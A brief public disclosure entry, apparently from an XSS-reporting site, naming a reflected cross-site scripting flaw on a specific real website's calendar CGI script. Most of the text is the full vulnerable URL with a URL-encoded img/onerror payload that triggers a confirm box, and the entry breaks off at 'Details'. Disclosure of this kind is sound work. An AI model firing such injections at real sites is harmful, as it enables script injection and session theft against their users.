larimercountysar.org XSS vulnerability

Vulnerable URL: http://www.larimercountysar.org/cgi-bin/Calcium40.pl?CalendarName=%22%3E%3Cimg/src=%22%3E%22onerror=confirm%27XSSPOSED%27%3E=1654=PopupWindow=Calcium40.pl?CalendarName=LCSAREventSchedule=ShowDay=Year=Absolute=Block=Count=2011/10/8==2011/10/8=Year=Absolute=Block=Count Details:...